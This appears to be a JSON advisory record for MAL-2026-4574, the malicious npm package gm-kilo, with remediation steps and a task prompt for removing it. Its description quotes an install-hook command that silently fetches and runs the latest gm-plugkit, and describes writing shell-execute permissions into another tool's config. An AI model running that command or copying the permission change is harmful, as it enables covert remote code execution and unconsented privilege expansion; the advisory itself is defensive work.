{"answers":{"affected":"1 open source package ship an affected version, including gm-kilo.","exploited":"There is no known exploitation of MAL-2026-4574 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-4574 is a malicious package in gm-kilo, published on 20 May 2026."},"fix_prompt":"MAL-2026-4574 is a malicious package: gm-kilo (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-4574/ (Markdown: https://insights.sbomify.com/MAL-2026-4574/index.md)","id":"MAL-2026-4574","markdown":"https://insights.sbomify.com/MAL-2026-4574/index.md","name":"MAL-2026-4574","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"package.json declares an `install` lifecycle script that runs `bin/gm-kilo.js install`. At install time, the script executes `bun x gm-plugkit@latest spool \u003e /dev/null 2\u003e\u00261 \u0026` via execSync, which downloads and runs whatever the latest published version of gm-plugkit is using the Bun alternate runtime. The version pin is mutable (`@latest`), the command output is redirected to /dev/null, and the process is detached into the background — these properties are characteristic of covert remote-code execution at install time. Whoever controls publishing of gm-plugkit can deliver arbitrary code to every machine that installs gm-kilo, and the install hook hides that execution from the installer's terminal. Additionally, the install script writes to `~/.kilo/config.yml` (a separate tool's configuration file) to register a `gm` agent with `Bash(*plugkit*)` shell-execute permission, silently expanding that tool's trust surface to invoke plugkit-related commands without user consent.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in gm-kilo (npm)","id":"MAL-2026-4574","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"gm-kilo","purl":"pkg:npm/gm-kilo","source":"MAL-2026-4574"}],"products":null,"published":"2026-05-20","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-4574/"}